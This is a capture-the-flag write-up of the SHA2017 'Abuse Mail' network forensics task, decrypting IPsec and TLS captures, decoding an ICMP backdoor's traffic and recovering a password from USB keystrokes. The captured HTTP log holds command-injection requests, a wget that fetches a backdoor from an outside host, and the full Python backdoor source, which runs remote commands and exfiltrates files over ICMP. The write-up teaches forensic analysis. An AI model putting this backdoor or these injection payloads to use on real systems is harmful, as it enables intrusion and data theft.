📜 ⬆️ ⬇️

SHA2017 CTF: Need More Traffic



Good day to all. I just came to the end of SHA2017 CTF and in this article, I would like to consider the solution of one interesting task of Abuse Mail (300) from the Network section.

Let's start. A description of the task was given, and the archive:
Our network has been hacked their company. We’ve found what exactly has happened. Can you help us catch the culprit?

Download and unpack the archive in which we are waiting for the 3 * .pcap file:
')


abuse01.pcap


At the very beginning of the dump, there is telnet traffic:



Having squandered just below, we notice another obstacle, in the form of a set of ESP packets:



After a brief google search, we find an article on how to decrypt ESP traffic. After reviewing the contents of telnet packages, we see that this is exactly what we need:



After completing the configuration of Wireshark , based on the data, we can safely see the decrypted traffic. Of greatest interest, here are the HTTP packages, at the very end of the dump:



In which you can find a script in Python , giving a hint to the analysis of the following dumps:

Esp dump
GET / HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 0 GET /css/style.css HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/css,*/*;q=0.1 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.29.0.1/ Connection: keep-alive If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT If-None-Match: "5978c537-2314" HTTP/1.1 304 Not Modified Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:42:41 GMT Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT Connection: keep-alive ETag: "5978c537-2314" GET /?ip=google.com HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.29.0.1/ Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Ping service 0.1</title> <meta name="description" content="Ping service 0.1"> <link rel="stylesheet" href="css/style.css"> </head> <body> <header class="o-header"> <div class="o-container"> <h1 class="o-header__title">Ping service 0.1</h1> </div> </header> <main class="o-main"> <div class="o-container"> <div class="o-section"> <div id="tabs" class="c-tabs no-js"> <div class="c-tabs-nav"> <a href="#" class="c-tabs-nav__link is-active"> <span>Ping System</span> </a> </div> <div class="c-tab"> <div class="c-tab__content"> <h2>Ping system</h2> <p> <pre>PING google.com (172.217.17.110) 56(84) bytes of data. 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=9.12 ms 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=8.86 ms 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.3 ms 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.06 ms --- google.com ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3006ms rtt min/avg/max/mdev = 8.062/9.094/10.332/0.819 ms </pre> </p> </div> </div> </div> </div> </div> </main> <footer class="o-footer"> <div class="o-container"> <small>© 2017, SHA2017 CTF</small> </div> </footer> </body> </html> GET /?ip=google.com;ls HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Ping service 0.1</title> <meta name="description" content="Ping service 0.1"> <link rel="stylesheet" href="css/style.css"> </head> <body> <header class="o-header"> <div class="o-container"> <h1 class="o-header__title">Ping service 0.1</h1> </div> </header> <main class="o-main"> <div class="o-container"> <div class="o-section"> <div id="tabs" class="c-tabs no-js"> <div class="c-tabs-nav"> <a href="#" class="c-tabs-nav__link is-active"> <span>Ping System</span> </a> </div> <div class="c-tab"> <div class="c-tab__content"> <h2>Ping system</h2> <p> <pre>PING google.com (172.217.17.110) 56(84) bytes of data. 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=8.66 ms 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=9.44 ms 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.0 ms 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.44 ms --- google.com ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3005ms rtt min/avg/max/mdev = 8.445/9.153/10.057/0.639 ms css index.php </pre> </p> </div> </div> </div> </div> </div> </main> <footer class="o-footer"> <div class="o-container"> <small>© 2017, SHA2017 CTF</small> </div> </footer> </body> </html> GET /?ip=;ls%20-la HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Ping service 0.1</title> <meta name="description" content="Ping service 0.1"> <link rel="stylesheet" href="css/style.css"> </head> <body> <header class="o-header"> <div class="o-container"> <h1 class="o-header__title">Ping service 0.1</h1> </div> </header> <main class="o-main"> <div class="o-container"> <div class="o-section"> <div id="tabs" class="c-tabs no-js"> <div class="c-tabs-nav"> <a href="#" class="c-tabs-nav__link is-active"> <span>Ping System</span> </a> </div> <div class="c-tab"> <div class="c-tab__content"> <h2>Ping system</h2> <p> <pre>total 16 drwxr-xr-x 3 root root 4096 Jul 26 09:36 . drwxr-xr-x 3 root root 4096 Jul 26 03:45 .. drwxr-x--- 2 www-data www-data 4096 Jul 26 09:37 css -rwxr-xr-x 1 www-data www-data 1664 Jul 26 04:46 index.php </pre> </p> </div> </div> </div> </div> </div> </main> <footer class="o-footer"> <div class="o-container"> <small>© 2017, SHA2017 CTF</small> </div> </footer> </body> </html> GET /?ip=;id HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Ping service 0.1</title> <meta name="description" content="Ping service 0.1"> <link rel="stylesheet" href="css/style.css"> </head> <body> <header class="o-header"> <div class="o-container"> <h1 class="o-header__title">Ping service 0.1</h1> </div> </header> <main class="o-main"> <div class="o-container"> <div class="o-section"> <div id="tabs" class="c-tabs no-js"> <div class="c-tabs-nav"> <a href="#" class="c-tabs-nav__link is-active"> <span>Ping System</span> </a> </div> <div class="c-tab"> <div class="c-tab__content"> <h2>Ping system</h2> <p> <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data) </pre> </p> </div> </div> </div> </div> </div> </main> <footer class="o-footer"> <div class="o-container"> <small>© 2017, SHA2017 CTF</small> </div> </footer> </body> </html> GET /?ip=;sudo%20-l HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Ping service 0.1</title> <meta name="description" content="Ping service 0.1"> <link rel="stylesheet" href="css/style.css"> </head> <body> <header class="o-header"> <div class="o-container"> <h1 class="o-header__title">Ping service 0.1</h1> </div> </header> <main class="o-main"> <div class="o-container"> <div class="o-section"> <div id="tabs" class="c-tabs no-js"> <div class="c-tabs-nav"> <a href="#" class="c-tabs-nav__link is-active"> <span>Ping System</span> </a> </div> <div class="c-tab"> <div class="c-tab__content"> <h2>Ping system</h2> <p> <pre>Matching Defaults entries for www-data on router: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on router: (ALL : ALL) NOPASSWD: ALL </pre> </p> </div> </div> </div> </div> </div> </main> <footer class="o-footer"> <div class="o-container"> <small>© 2017, SHA2017 CTF</small> </div> </footer> </body> </html> GET /css/style.css HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/css,*/*;q=0.1 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.29.0.1/?ip=;sudo%20-l Connection: keep-alive If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT If-None-Match: "5978c537-2314" HTTP/1.1 304 Not Modified Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:16 GMT Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT Connection: keep-alive ETag: "5978c537-2314" GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Ping service 0.1</title> <meta name="description" content="Ping service 0.1"> <link rel="stylesheet" href="css/style.css"> </head> <body> <header class="o-header"> <div class="o-container"> <h1 class="o-header__title">Ping service 0.1</h1> </div> </header> <main class="o-main"> <div class="o-container"> <div class="o-section"> <div id="tabs" class="c-tabs no-js"> <div class="c-tabs-nav"> <a href="#" class="c-tabs-nav__link is-active"> <span>Ping System</span> </a> </div> <div class="c-tab"> <div class="c-tab__content"> <h2>Ping system</h2> <p> <pre>--2017-07-26 09:43:36-- http://10.5.5.207/backdoor.py Connecting to 10.5.5.207:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2428 (2.4K) [text/x-python] Saving to: '/tmp/backdoor.py' 0K .. 100% 458M=0s 2017-07-26 09:43:36 (458 MB/s) - '/tmp/backdoor.py' saved [2428/2428] </pre> </p> </div> </div> </div> </div> </div> </main> <footer class="o-footer"> <div class="o-container"> <small>© 2017, SHA2017 CTF</small> </div> </footer> </body> </html> GET /?ip=%3Bcat%20/tmp/backdoor.py HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Ping service 0.1</title> <meta name="description" content="Ping service 0.1"> <link rel="stylesheet" href="css/style.css"> </head> <body> <header class="o-header"> <div class="o-container"> <h1 class="o-header__title">Ping service 0.1</h1> </div> </header> <main class="o-main"> <div class="o-container"> <div class="o-section"> <div id="tabs" class="c-tabs no-js"> <div class="c-tabs-nav"> <a href="#" class="c-tabs-nav__link is-active"> <span>Ping System</span> </a> </div> <div class="c-tab"> <div class="c-tab__content"> <h2>Ping system</h2> <p> <pre>#!/usr/bin/env python import base64 import sys import time import subprocess import threading from Crypto import Random from Crypto.Cipher import AES from scapy.all import * BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] magic = "SHA2017" class AESCipher: def __init__( self, key ): self.key = key def encrypt( self, raw ): raw = pad(raw) iv = Random.new().read( AES.block_size ) cipher = AES.new( self.key, AES.MODE_CBC, iv ) return base64.b64encode( iv + cipher.encrypt( raw ) ) def decrypt( self, enc ): enc = base64.b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv ) return unpad(cipher.decrypt( enc[16:] )) def run_command(cmd): ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) output = ps.communicate()[0] return output def send_ping(host, magic, data): data = cipher.encrypt(data) load = "{}:{}".format(magic, data) time.sleep(1) sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0) def chunks(L, n): for i in xrange(0, len(L), n): yield L[i:i+n] def get_file(host, magic, fn): time.sleep(1) data = base64.urlsafe_b64encode(open(fn, "rb").read()) cnt = 0 icmp_threads = [] for line in chunks(data, 500): t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line))) t.daemon = True t.start() icmp_threads.append(t) cnt += 1 for t in icmp_threads: t.join() cipher = AESCipher(sys.argv[1]) while True: try: pkts = sniff(filter="icmp", timeout =5,count=1) for packet in pkts: if str(packet.getlayer(ICMP).type) == "8": input = packet[IP].load if input[0:len(magic)] == magic: input = input.split(":") data = cipher.decrypt(input[1]).split(":") ip = packet[IP].src if data[0] == "command": output = run_command(data[1]) send_ping(ip, magic, "command:{}".format(output)) if data[0] == "getfile": #print "[+] Sending file {}".format(data[1]) get_file(ip, magic, data[1]) except: pass </pre> </p> </div> </div> </div> </div> </div> </main> <footer class="o-footer"> <div class="o-container"> <small>© 2017, SHA2017 CTF</small> </div> </footer> </body> </html> GET /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\& HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 

backdoor.py
 #!/usr/bin/env python import base64 import sys import time import subprocess import threading from Crypto import Random from Crypto.Cipher import AES from scapy.all import * BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] magic = "SHA2017" class AESCipher: def __init__( self, key ): self.key = key def encrypt( self, raw ): raw = pad(raw) iv = Random.new().read( AES.block_size ) cipher = AES.new( self.key, AES.MODE_CBC, iv ) return base64.b64encode( iv + cipher.encrypt( raw ) ) def decrypt( self, enc ): enc = base64.b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv ) return unpad(cipher.decrypt( enc[16:] )) def run_command(cmd): ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) output = ps.communicate()[0] return output def send_ping(host, magic, data): data = cipher.encrypt(data) load = "{}:{}".format(magic, data) time.sleep(1) sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0) def chunks(L, n): for i in xrange(0, len(L), n): yield L[i:i+n] def get_file(host, magic, fn): time.sleep(1) data = base64.urlsafe_b64encode(open(fn, "rb").read()) cnt = 0 icmp_threads = [] for line in chunks(data, 500): t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line))) t.daemon = True t.start() icmp_threads.append(t) cnt += 1 for t in icmp_threads: t.join() cipher = AESCipher(sys.argv[1]) while True: try: pkts = sniff(filter="icmp", timeout =5,count=1) for packet in pkts: if str(packet.getlayer(ICMP).type) == "8": input = packet[IP].load if input[0:len(magic)] == magic: input = input.split(":") data = cipher.decrypt(input[1]).split(":") ip = packet[IP].src if data[0] == "command": output = run_command(data[1]) send_ping(ip, magic, "command:{}".format(output)) if data[0] == "getfile": #print "[+] Sending file {}".format(data[1]) get_file(ip, magic, data[1]) except: pass 


As well as the parameters for running this script:


abuse02.pcap


Change the resulting script a bit:
backdoor.patch
 --- backdoor_original.py 2017-08-06 18:21:29.575844000 +0300 +++ backdoor.py 2017-08-06 18:24:20.662678100 +0300 @@ -70,22 +70,16 @@ cipher = AESCipher(sys.argv[1]) -while True: - try: - pkts = sniff(filter="icmp", timeout=5, count=1) - - for packet in pkts: - if str(packet.getlayer(ICMP).type) == "8": - input = packet[IP].load - if input[0:len(magic)] == magic: - input = input.split(":") - data = cipher.decrypt(input[1]).split(":") - ip = packet[IP].src - if data[0] == "command": - output = run_command(data[1]) - send_ping(ip, magic, "command:{}".format(output)) - if data[0] == "getfile": - # print "[+] Sending file {}".format(data[1]) - get_file(ip, magic, data[1]) - except: - pass +file = {} +try: + pkts = rdpcap(sys.argv[2]) + fname = '' + for packet in pkts: + if str(packet.getlayer(ICMP).type) == "8": + input = packet[IP].load + if input[0:len(magic)] == magic: + input = input.split(":") + data = cipher.decrypt(input[1]).split(":") + print('[*] DATA: %s' % data) +except: + pass 


We do not need the script to intercept network packets and execute commands, instead, now it reads the received traffic dump and displays its contents in the console. Apply these changes, and run it:

 $ patch < backdoor.patch $ ./backdoor.py K8djhaIU8H2d1jNb ./abuse02.pcap 

Among the findings, the most interesting for us are certificates:



We keep them for ourselves, we still need them. From the interesting, at the very end you can see the sending of 2 commands to activate the interception of traffic within the network, and from HID devices :



abuse03.pcap


Running the same script for the last dump, you will notice that it contains commands to get the dumps created earlier, because the files are divided into many parts before being sent, and it’s too lazy to glue them manually, we’ll add a couple of changes to backdoor.py :

backdoor.patch
 --- backdoor.py 2017-08-06 18:40:20.763604400 +0300 +++ backdoor.py 2017-08-06 18:39:42.072949300 +0300 @@ -68,8 +68,16 @@ t.join() -cipher = AESCipher(sys.argv[1]) +def save_file(data, fname): + file = open(fname, 'w') + txt = '' + for x in range(len(data)): + txt += data[x] + file.write(base64.urlsafe_b64decode(txt)) + file.close() + +cipher = AESCipher(sys.argv[1]) file = {} try: pkts = rdpcap(sys.argv[2]) @@ -81,5 +89,17 @@ input = input.split(":") data = cipher.decrypt(input[1]).split(":") print('[*] DATA: %s' % data) + ip = packet[IP].src + if data[1].isdigit(): + file[int(data[1])] = data[2] + else: + fname = data[1] + save_file(file, 'intranet.pcap') + file = {} + if data[0] == "command": + pass + if data[0] == "getfile": + print "[+] Sending file {}".format(data[1]) + save_file(file, 'usb.pcap') except: pass 


Apply and run:

 $ patch < backdoor.patch $ ./backdoor.py K8djhaIU8H2d1jNb ./abuse03.pcap 

At the output, we get 2 files: intranet.pcap and usb.pcap :



The first dump contains SSL traffic, so first you need to add the certificate found earlier. Go to Edit -> Preferences -> Protocols -> SSL :
RSA key list
IP address: 192.168.1.2
Port: 443
Protocol: data
Key File: intranet.key

Applying the settings, extract the only archive secret.zip :



And it would seem that all. Our archive, in the archives of the flag, it remains only to pick it up. But! The authors apparently decided to make life as difficult as possible for those who will solve their task by encrypting the contents of the archive with a password:



We recall about the second dump of usb.pcap , another couple of requests to Google, and we find an article and a script with which you can read the contents of this dump.
Adding support for a larger number of scan codes to the script and checking for the shift key is a byte at offset 0x40 . On the screen below, the “yellow square” is marked with the scan code, and the “yellow rectangle” is the shift key byte, we also need the URB id :



As a result, we get this version of keyboard.py , for parsing USB packages:

 #!/usr/bin/python import binascii import dpkt import struct import sys # Start the pcap file parsing f = open(sys.argv[1], 'rb') pcap = dpkt.pcap.Reader(f) # Create a partial mapping from keycodes to ASCII chars keys = {} keys.update({ i + 0x4: chr(i + ord('a')) for i in range(26) }) keys.update({ i + 0x1e: chr(i + ord('1')) for i in range(9) }) keys[0x27] = '0' keys.update({ 0x28: '\n', 0x2b: '\t', 0x2c: ' ', 0x2d: '-', 0x2e: '=', 0x2f: '[', 0x30: ']', 0x31: '\\', 0x33: ';', 0x34: '\'', 0x35: '`', 0x36: ',', 0x37: '.', 0x38: '/', }) keys_shift = {} keys_shift.update({ i + 0x4: chr(i + ord('A')) for i in range(26) }) keys_shift.update({ 0x1e: '!', 0x1f: '@', 0x20: '#', 0x21: '$', 0x22: '%', 0x23: '^', 0x24: '&', 0x25: '*', 0x26: '(', 0x27: ')', 0x2e: '+', 0x2f: '{', 0x30: '}', 0x31: '|', 0x33: ':', 0x34: '"', 0x35: '~', 0x36: '<', 0x37: '>', 0x38: '?', }) txt = '' # Then iterate over each USB frame i = 0 for ts, buf in pcap: # We are interested only in packets that has the expected URB id, and # packets carrying keycodes embed exactly 8 bytes. urb_id = ''.join(reversed(buf[:8])) i += 1 if binascii.hexlify(urb_id) != 'ffff8800290f2ac0': continue data_length, = struct.unpack('<I', buf[0x24:0x28]) if data_length != 8: continue key_code = ord(buf[0x42]) shift_state = ord(buf[0x40]) if not key_code: continue if shift_state: # print('[%d] key_code: %s char: %s' % (i, hex(key_code), keys_shift[key_code])) txt += keys_shift[key_code] else: # print('[%d] key_code: %s char: %s' % (i, hex(key_code), keys[key_code])) txt += keys[key_code] # sys.stdout.write(keys[key_code]) print(txt) 

After starting the script displays all keystrokes:



Great, we have a password, it's time to unpack the archive and finally pick up the flag:



Task completed. For this flag you could get +300 points to the team.
Thanks to the organizers for such an interesting task!

Source: https://habr.com/ru/post/335012/


All Articles